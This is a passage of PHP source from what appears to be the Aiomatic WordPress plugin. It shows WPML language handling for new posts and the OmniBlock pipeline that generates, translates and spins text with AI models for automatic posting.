                                        $pars['source_language_code'] = NULL;
                                        do_action('wpml_set_element_language_details', $pars);
            
                                        global $wp_filesystem;
                                        if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){
                                            include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() );
                                            wp_filesystem($creds);
                                        }
                                        if($wp_filesystem->exists(WP_PLUGIN_DIR . '/sitepress-multilingual-cms/inc/wpml-api.php'))
                                        {
                                            include_once( WP_PLUGIN_DIR . '/sitepress-multilingual-cms/inc/wpml-api.php' );
                                        }
                                        $wpml_lang = trim($wpml_lang);
                                        if(function_exists('wpml_update_translatable_content'))
                                        {
                                            wpml_update_translatable_content('post_' . $post_type, $post_id, $wpml_lang);
                                            if($my_post['post_title'] != '')
                                            {
                                                global $sitepress;
                                                global $wpdb;
                                                $keyid = md5($my_post['post_title']);
                                                $keyName = $keyid . '_wpml';
                                                $rezxxxa = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}postmeta WHERE `meta_key` = '$keyName' limit 1", ARRAY_A );
                                                if(count($rezxxxa) != 0)
                                                {
                                                    $metaRow = $rezxxxa[0];
                                                    $metaValue = $metaRow['meta_value'];
                                                    $metaParts = explode('_', $metaValue);
                                                    $sitepress->set_element_language_details($post_id, 'post_'.$my_post['post_type'] , $metaParts[0], $wpml_lang, $metaParts[1] ); 
                                                }
                                                else
                                                {
                                                    $ptrid = $sitepress->get_element_trid($post_id);
                                                    update_post_meta($post_id, $keyid.'_wpml', $ptrid.'_'.$wpml_lang );
                                                }
                                            }
                                            
                                        }
                                    }
                                    if (isset($aiomatic_Main_Settings['draft_first']) && $aiomatic_Main_Settings['draft_first'] == 'on' && $draft_me == true)
                                    {
                                        aiomatic_change_post_status($post_id, 'publish');
                                    }
                                } else {
                                    aiomatic_log_to_file('Failed to insert post into wp database(5)! Title:' . $my_post['post_title'] . '! Error: ' . $post_id->get_error_message() . 'Error code: ' . $post_id->get_error_code() . 'Error data: ' . $post_id->get_error_data());
                                    continue;
                                }
                            }
                        }
                        elseif($type == '5')
                        {
                            $count = 1;
                            $keyword_arr = preg_split('/\r\n|\r|\n/', trim($main_keywords));
                            $keyword_arr = array_unique($keyword_arr);
                            $skipt = 0;
                            $kiwis = array();
                            $more_kws_arr = preg_split('/\r\n|\r|\n/', trim($more_keywords));
                            foreach($more_kws_arr as $this_kw)
                            {
                                if(strstr($this_kw, '=>') !== false)
                                {
                                    $expl_kw = explode('=>', $this_kw);
                                    if(isset($expl_kw[1]))
                                    {
                                        $kiwis[trim($expl_kw[0])] = trim($expl_kw[1]);
                                    }
                                }
                            }
                            $block_data = json_decode($sortable_cards, true);
                            if($block_data === null)
                            {
                                aiomatic_log_to_file('Error in parsing OmniBlock data: ' . $sortable_cards);
                                if($auto == 1)
                                {
                                    aiomatic_clearFromList($param, $type);
                                }
                                return 'fail';
                            }
                            if(empty($block_data))
                            {
                                aiomatic_log_to_file('No Block data added: ' . $sortable_cards);
                                if($auto == 1)
                                {
                                    aiomatic_clearFromList($param, $type);
                                }
                                return 'fail';
                            }
                            require_once(__DIR__ . '/res/amazon-direct.php');
                            require_once(__DIR__ . '/aiomatic-automation.php');
                            $default_block_types = aiomatic_omniblocks_default_block_types(); 
                            $omni_cache = array();
                            while(!empty($keyword_arr)) 
                            {
                                if ($count > intval($max)) {
                                    break;
                                }
                                $block_results = array();
                                $thread_id = '';
                                if (!isset($aiomatic_Main_Settings['no_random_titles']) || $aiomatic_Main_Settings['no_random_titles'] != 'on')
                                {
                                    $rand_ind = array_rand($keyword_arr);
                                }
                                else
                                {
                                    $rand_ind = array_key_first($keyword_arr);
                                }
                                $current_keyword = $keyword_arr[$rand_ind];
                                if($title_once == '1')
                                {
                                    do
                                    {
                                        $args = array(
                                            'post_type'      => 'any', 
                                            'posts_per_page' => 1,  
                                            'post_status'    => 'any', 
                                            'title'          => $current_keyword 
                                        );
                                        $query = new WP_Query($args);
                                        if ($query->have_posts()) 
                                        {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                            {
                                                aiomatic_log_to_file('A post with the same title as the OmniBlock keyword already processed, skipping it: ' . $current_keyword);
                                            }
                                            unset($keyword_arr[$rand_ind]);
                                            if(!empty($keyword_arr))
                                            {
                                                if (!isset($aiomatic_Main_Settings['no_random_titles']) || $aiomatic_Main_Settings['no_random_titles'] != 'on')
                                                {
                                                    $rand_ind = array_rand($keyword_arr);
                                                }
                                                else
                                                {
                                                    $rand_ind = array_key_first($keyword_arr);
                                                }
                                                $current_keyword = $keyword_arr[$rand_ind];
                                            }
                                        } 
                                    }
                                    while($query->have_posts() && !empty($keyword_arr));
                                    
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                    {
                                        $addmx = 'no';
                                        if(aiomatic_is_keyword_processed($current_keyword))
                                        {
                                            $addmx = 'yes';
                                        }
                                        aiomatic_log_to_file('Checking if keyword is processed: "' . $current_keyword . '" - result: ' . $addmx);
                                    }
                                    while (aiomatic_is_keyword_processed($current_keyword) && !empty($keyword_arr)) 
                                    {
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                        {
                                            aiomatic_log_to_file('OmniBlock keyword already processed, skipping it: ' . $current_keyword);
                                        }
                                        unset($keyword_arr[$rand_ind]);
                                        if(!empty($keyword_arr))
                                        {
                                            if (!isset($aiomatic_Main_Settings['no_random_titles']) || $aiomatic_Main_Settings['no_random_titles'] != 'on')
                                            {
                                                $rand_ind = array_rand($keyword_arr);
                                            }
                                            else
                                            {
                                                $rand_ind = array_key_first($keyword_arr);
                                            }
                                            $current_keyword = $keyword_arr[$rand_ind];
                                        }
                                    }
                                    if(empty($stop_omnmiblock_id) && empty($keyword_arr))
                                    {
                                        aiomatic_log_to_file('All keywords already processed, nothing to do');
                                        if($auto == 1)
                                        {
                                            aiomatic_clearFromList($param, $type);
                                        }
                                        return 'nochange';
                                    }
                                    if(!empty($keyword_arr))
                                    {
                                        unset($keyword_arr[$rand_ind]);
                                    }
                                }
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                {
                                    aiomatic_log_to_file('Starting OmniBlock processing for keyword: ' . $current_keyword);
                                }
                                $index = 0;
                                while ($index < count($block_data)) 
                                {
                                    $current_block = $block_data[$index];
                                    $index++;
                                    $card_type_found = array();
                                    $block_id = $current_block['identifier'];
                                    $critical = $current_block['parameters']['critical'];
                                    $disabled = $current_block['parameters']['disabled'];
                                    if((empty($stop_omnmiblock_id) || $stop_omnmiblock_id != $block_id) && $disabled == '1')
                                    {
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                            aiomatic_log_to_file('Skipping OmniBlock ID because it is disabled: ' . esc_html($block_id));
                                        }
                                        $block_results[$block_id] = array($current_block['type'], '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '');
                                        continue;
                                    }
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                        aiomatic_log_to_file('Running OmniBlock type: ' . $current_block['type'] . ' - ID: ' . esc_html($block_id));
                                    }
                                    foreach($default_block_types as $def_card)
                                    {
                                        if($current_block['type'] == $def_card['id'])
                                        {
                                            $card_type_found = $def_card;
                                            break;
                                        }
                                    }
                                    if(empty($card_type_found))
                                    {
                                        if($critical == '1')
                                        {
                                            aiomatic_log_to_file('Halting execution (inexistent card type), as critical block failed (ID ' . esc_html($block_id) . ')');
                                            return 'fail';
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Block type not found in blocks array: ' . print_r($current_block, true));
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array('');
                                            }
                                            $block_results[$block_id] = array($current_block['type'], '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '');
                                            continue;
                                        }
                                    }
                                    if(isset($card_type_found['required_plugin']) && !empty($card_type_found['required_plugin']))
                                    {
                                        $need_continue = false;
                                        foreach($card_type_found['required_plugin'] as $pslug => $pname)
                                        {
                                            if(!function_exists('is_plugin_active'))
                                            {
                                                include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                            }
                                            if (!is_plugin_active($pslug)) 
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (inexistent plugin extension), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('You need enable the "' . $pname[0] . '" (' . $pslug . ') plugin for this OmniBlock type to work: ' . $pname[1]);
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '');
                                                    $need_continue = true;
                                                    break;
                                                }
                                            }
                                        }
                                        if($need_continue == true)
                                        {
                                            continue;
                                        }
                                    }
                                    if($current_block['type'] == 'ai_text')
                                    {
                                        $temperature = '';
                                        $max_p = '';
                                        $presence_penalty = '';
                                        $frequency_penalty = '';
                                        $prompt = $current_block['parameters']['prompt'];
                                        $prompt = aiomatic_replace_omniblocks_data($prompt, $current_keyword, $kiwis, $block_results);
                                        if (empty($prompt)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty text prompt entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty text prompt entered, block ID: ' . $block_id);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        $model = $current_block['parameters']['model'];
                                        $assistant_id = $current_block['parameters']['assistant_id'];
                                        $max_tokens = aiomatic_get_max_tokens($model);
                                        $query_token_count = count(aiomatic_encode($prompt));
                                        $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt, $query_token_count);
                                        if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                        {
                                            $string_len = strlen($prompt);
                                            $string_len = $string_len / 2;
                                            $string_len = intval(0 - $string_len);
                                            $prompt = aiomatic_substr($prompt, 0, $string_len);
                                            $prompt = trim($prompt);
                                            $query_token_count = count(aiomatic_encode($prompt));
                                            $available_tokens = $max_tokens - $query_token_count;
                                        }
                                        $aierror = '';
                                        $finish_reason = '';
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                        {
                                            $api_service = aiomatic_get_api_service($token, $model);
                                            aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $model . ') for OmniBlock text ID: ' . $block_id);
                                            aiomatic_log_to_file('AI Prompt is: ' . $prompt);
                                        }
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating OmniBlock AI content'));
                                        $generated_text = aiomatic_generate_text($token, $model, $prompt, $available_tokens, $temperature, $max_p, $presence_penalty, $frequency_penalty, false, 'omniBlocksWriter', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false);
                                        
                                        if($generated_text === false)
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (failed to generate AI content), as critical block failed (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to generate non-critical OmniBlock content using AI writer (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                            }
                                        }
                                        else
                                        {
                                            if(empty($generated_text))
                                            {
                                                aiomatic_log_to_file('Empty content generated using AI OmniBlock writer (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                            }
                                            else
                                            {
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array($generated_text);
                                                }
                                                $block_results[$block_id] = array($current_block['type'], $generated_text);
                                            }
                                        }
                                    }
                                    elseif($current_block['type'] == 'ai_text_foreach')
                                    {
                                        $final_text = '';
                                        $temperature = '';
                                        $max_p = '';
                                        $presence_penalty = '';
                                        $frequency_penalty = '';
                                        $multiline_input = $current_block['parameters']['multiline_input'];
                                        $multiline_input = aiomatic_replace_omniblocks_data($multiline_input, $current_keyword, $kiwis, $block_results);
                                        $prepend = $current_block['parameters']['prepend'];
                                        $prepend = aiomatic_replace_omniblocks_data($prepend, $current_keyword, $kiwis, $block_results);
                                        $append = $current_block['parameters']['append'];
                                        $append = aiomatic_replace_omniblocks_data($append, $current_keyword, $kiwis, $block_results);
                                        $max_runs = $current_block['parameters']['max_runs'];
                                        if (empty($multiline_input)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty text multiline_input entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty text multiline_input entered, block ID: ' . $block_id);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        $prompt = $current_block['parameters']['prompt'];
                                        if (empty($prompt)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty text prompt entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty text prompt entered, block ID: ' . $block_id);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        $multiline_input_arr = preg_split('/\r\n|\r|\n/', trim($multiline_input));
                                        $current_line_counter = 1;
                                        foreach($multiline_input_arr as $curr_line)
                                        {
                                            if(!empty($max_runs) && is_numeric($max_runs))
                                            {
                                                if(intval($max_runs) < $current_line_counter)
                                                {
                                                    break;
                                                }
                                            }
                                            $prompt_now = $prompt;
                                            $prompt_now = aiomatic_replace_omniblocks_data($prompt_now, $current_keyword, $kiwis, $block_results);
                                            $prompt_now = str_replace('%%current_input_line%%', $curr_line, $prompt_now);
                                            $prompt_now = str_replace('%%current_input_line_counter%%', $current_line_counter, $prompt_now);
                                            $prompt_now = str_replace('%%all_input_lines%%', $multiline_input, $prompt_now);
                                            $current_line_counter++;
                                            if (empty($prompt_now)) 
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (empty text prompt_now entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Empty text prompt_now entered, block ID: ' . $block_id);
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], '');
                                                    continue;
                                                }
                                            }
                                            $model = $current_block['parameters']['model'];
                                            $assistant_id = $current_block['parameters']['assistant_id'];
                                            $max_tokens = aiomatic_get_max_tokens($model);
            
                                            $query_token_count = count(aiomatic_encode($prompt_now));
                                            $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt_now, $query_token_count);
                                            if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                            {
                                                $string_len = strlen($prompt_now);
                                                $string_len = $string_len / 2;
                                                $string_len = intval(0 - $string_len);
                                                $prompt_now = aiomatic_substr($prompt_now, 0, $string_len);
                                                $prompt_now = trim($prompt_now);
                                                $query_token_count = count(aiomatic_encode($prompt_now));
                                                $available_tokens = $max_tokens - $query_token_count;
                                            }
                                            $aierror = '';
                                            $finish_reason = '';
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                            {
                                                $api_service = aiomatic_get_api_service($token, $model);
                                                aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $model . ') for OmniBlock text ID: ' . $block_id);
                                                aiomatic_log_to_file('Current AI Prompt is: ' . $prompt_now);
                                            }
                                            aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating OmniBlock AI content'));
                                            $generated_text = aiomatic_generate_text($token, $model, $prompt_now, $available_tokens, $temperature, $max_p, $presence_penalty, $frequency_penalty, false, 'omniBlocksWriter', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false);
                                            if($generated_text === false)
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (AI content failed), as critical block failed (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to generate non-critical OmniBlock content using AI writer (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], '');
                                                }
                                            }
                                            else
                                            {
                                                if(empty($generated_text))
                                                {
                                                    aiomatic_log_to_file('Empty content generated using AI OmniBlock writer (ID ' . esc_html($block_id) . '): ' . $model);
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], '');
                                                }
                                                else
                                                {
                                                    $final_text .= ' ' . $prepend . $generated_text . $append;
                                                }
                                            }
                                        }
                                        if(empty($final_text))
                                        {
                                            aiomatic_log_to_file('Empty content generated using AI OmniBlock multiline writer (ID ' . esc_html($block_id) . '): ' . $model);
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array('');
                                            }
                                            $block_results[$block_id] = array($current_block['type'], '');
                                        }
                                        else
                                        {
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array($final_text);
                                            }
                                            $block_results[$block_id] = array($current_block['type'], $final_text);
                                        }
                                    }
                                    elseif($current_block['type'] == 'text_translate')
                                    {
                                        $translation = false;
                                        $pre_tags_matches = array();
                                        $pre_tags_matches_s = array();
                                        $conseqMatchs = array();
                                        $final_content = $current_block['parameters']['input_text'];
                                        $final_content = aiomatic_replace_omniblocks_data($final_content, $current_keyword, $kiwis, $block_results);
                                        if (empty($final_content)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty text input entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty text input entered, block ID: ' . $block_id);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        $translate = $current_block['parameters']['translate'];
                                        if (empty($translate) || $translate == 'disabled') 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (translation disabled), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Translation disabled for block: ' . $block_id);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        $translate_source = $current_block['parameters']['translate_source'];
                                        $second_translate = $current_block['parameters']['second_translate'];
                                        if(!empty($translate_source) && $translate_source != 'disabled')
                                        {
                                            $tr = $translate_source;
                                        }
                                        else
                                        {
                                            $tr = 'auto';
                                        }
                                        $htmlfounds = array();
                                        $final_content = aiomatic_replaceExcludes($final_content, $htmlfounds, $pre_tags_matches, $pre_tags_matches_s, $conseqMatchs);
                                        $translation = aiomatic_translate('test', $final_content, $tr, $translate);
                                        if (is_array($translation) && isset($translation[1]))
                                        {
                                            $translation[1] = preg_replace('#(?<=[\*(])\s+(?=[\*)])#', '', $translation[1]);
                                            $translation[1] = preg_replace('#([^(*\s]\s)\*+\)#', '$1', $translation[1]);
                                            $translation[1] = preg_replace('#\(\*+([\s][^)*\s])#', '$1', $translation[1]);
                                            if(isset($second_translate) && $second_translate != 'disabled')
                                            {
                                                $translation = aiomatic_translate('test', $translation[1], $translate, $second_translate);
                                                if (is_array($translation) && isset($translation[1]))
                                                {
                                                    $translation[1] = aiomatic_restoreExcludes($translation[1], $htmlfounds, $pre_tags_matches, $pre_tags_matches_s, $conseqMatchs);
                                                }
                                                else
                                                {
                                                    if($critical == '1')
                                                    {
                                                        aiomatic_log_to_file('Halting execution (second translation failed), as critical block failed (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                        return 'fail';
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('Failed to translate text the second time, from ' . $translate . ' to ' . $second_translate . ' in OmniBlock ID: ' . $block_id);
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array('');
                                                        }
                                                        $block_results[$block_id] = array($current_block['type'], '');
                                                        continue;
                                                    }
                                                }
                                            }
                                            else
                                            {
                                                $translation[1] = aiomatic_restoreExcludes($translation[1], $htmlfounds, $pre_tags_matches, $pre_tags_matches_s, $conseqMatchs);
                                            }
                                        }
                                        else
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (translation failed), as critical block failed (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to translate text, from ' . $tr . ' to ' . $translate . ' in OmniBlock ID: ' . $block_id);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        if ($translation !== FALSE) {
                                            if (is_array($translation) && isset($translation[0]) && isset($translation[1])) 
                                            {
                                                $final_content = $translation[1];
                                                $final_content = str_replace('</ iframe>', '</iframe>', $final_content);
                                                if(stristr($final_content, '<head>') !== false)
                                                {
                                                    $d = new DOMDocument;
                                                    $mock = new DOMDocument;
                                                    $internalErrors = libxml_use_internal_errors(true);
                                                    $d->loadHTML('<?xml encoding="utf-8" ?>' . $final_content, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);
                                                    libxml_use_internal_errors($internalErrors);
                                                    $body = $d->getElementsByTagName('body')->item(0);
                                                    foreach ($body->childNodes as $child)
                                                    {
                                                        $mock->appendChild($mock->importNode($child, true));
                                                    }
                                                    $new_post_content_temp = $mock->saveHTML();
                                                    if($new_post_content_temp !== '' && $new_post_content_temp !== false)
                                                    {
                                                        $new_post_content_temp = str_replace('<?xml encoding="utf-8" ?>', '', $new_post_content_temp);
                                                        $final_content = preg_replace("/_addload\(function\(\){([^<]*)/i", "", $new_post_content_temp); 
                                                    }
                                                }
                                                $final_content = htmlspecialchars_decode($final_content);
                                                $final_content = str_replace('</ ', '</', $final_content);
                                                $final_content = str_replace(' />', '/>', $final_content);
                                                $final_content = str_replace('< br/>', '<br/>', $final_content);
                                                $final_content = str_replace('< / ', '</', $final_content);
                                                $final_content = str_replace(' / >', '/>', $final_content);
                                                $final_content = preg_replace('/[\x00-\x1F\x7F\xA0]/u', '', $final_content);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array($final_content);
                                                }
                                                $block_results[$block_id] = array($current_block['type'], $final_content);
                                            } 
                                            else 
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (translation failed, malformed data), as critical block failed (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to translate text, malformed data, from ' . $tr . ' to ' . $translate . ' in OmniBlock ID: ' . $block_id);
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], '');
                                                    continue;
                                                }
                                            }
                                        } 
                                        else 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (translation returned false), as critical block failed (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to translate text, from ' . $tr . ' to ' . $translate . ', translation returned false in OmniBlock ID: ' . $block_id);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                    }
                                    elseif($current_block['type'] == 'text_spinner')
                                    {
                                        if (isset($aiomatic_Main_Settings['spin_what']) && $aiomatic_Main_Settings['spin_what'] === 'bulk') 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (spinning disabled for omniblocks), as critical block failed (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Spinning disabled for OmniBlocks, from plugin\'s \'Settings\' menu -> \'Bulk Posts\' tab -> \'Enable Spinner For\' settings field, in OmniBlock ID: ' . $block_id);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        $translation = false;
                                        $pre_tags_matches = array();
                                        $pre_tags_matches_s = array();
                                        $conseqMatchs = array();
                                        $final_content = $current_block['parameters']['input_text'];
                                        $final_content = aiomatic_replace_omniblocks_data($final_content, $current_keyword, $kiwis, $block_results);
                                        if (empty($final_content)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty text input entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty text input entered, block ID: ' . $block_id);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        if (isset($aiomatic_Main_Settings['spin_text']) && $aiomatic_Main_Settings['spin_text'] !== 'disabled') 
                                        {
                                            $htmlfounds = array();
                                            $final_content = aiomatic_replaceExcludes($final_content, $htmlfounds, $pre_tags_matches, $pre_tags_matches_s, $conseqMatchs);
                                            if ($aiomatic_Main_Settings['spin_text'] == 'builtin') {
                                                $translation = aiomatic_builtin_spin_text('test', $final_content);
                                            } elseif ($aiomatic_Main_Settings['spin_text'] == 'wikisynonyms') {
                                                $translation = aiomatic_spin_text('test', $final_content, false);
                                            } elseif ($aiomatic_Main_Settings['spin_text'] == 'freethesaurus') {
                                                $translation = aiomatic_spin_text('test', $final_content, true);
                                            } elseif ($aiomatic_Main_Settings['spin_text'] == 'best') {
                                                $translation = aiomatic_best_spin_text('test', $final_content);
                                            } elseif ($aiomatic_Main_Settings['spin_text'] == 'wordai') {
                                                $translation = aiomatic_wordai_spin_text('test', $final_content);
                                            } elseif ($aiomatic_Main_Settings['spin_text'] == 'spinrewriter') {
                                                $translation = aiomatic_spinrewriter_spin_text('test', $final_content);
                                            } elseif ($aiomatic_Main_Settings['spin_text'] == 'spinnerchief') {
                                                $translation = aiomatic_spinnerchief_spin_text('test', $final_content);
                                            } elseif ($aiomatic_Main_Settings['spin_text'] == 'chimprewriter') {
                                                $translation = aiomatic_chimprewriter_spin_text('test', $final_content);
                                            } elseif ($aiomatic_Main_Settings['spin_text'] == 'contentprofessor') {
                                                $translation = aiomatic_contentprofessor_spin_text('test', $final_content);
                                            }
                                            if ($translation !== FALSE) 
                                            {
                                                if (is_array($translation) && isset($translation[0]) && isset($translation[1])) {
                                                    if (!isset($aiomatic_Main_Settings['no_title']) || $aiomatic_Main_Settings['no_title'] != 'on') {
                                                        $final_content = $translation[1];
                                                    }
                                                    $final_content = aiomatic_fix_spinned_content($final_content, $aiomatic_Main_Settings['spin_text']);
                                                    $final_content = aiomatic_restoreExcludes($final_content, $htmlfounds, $pre_tags_matches, $pre_tags_matches_s, $conseqMatchs);
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array($final_content);
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], $final_content);
                                                } 
                                                else 
                                                {
                                                    if($critical == '1')
                                                    {
                                                        aiomatic_log_to_file('Halting execution (spinning failed, malformed data), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                        return 'fail';
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('Text Spinning failed - malformed data, block ID: ' . $block_id);
                                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                        {
                                                            return array('');
                                                        }
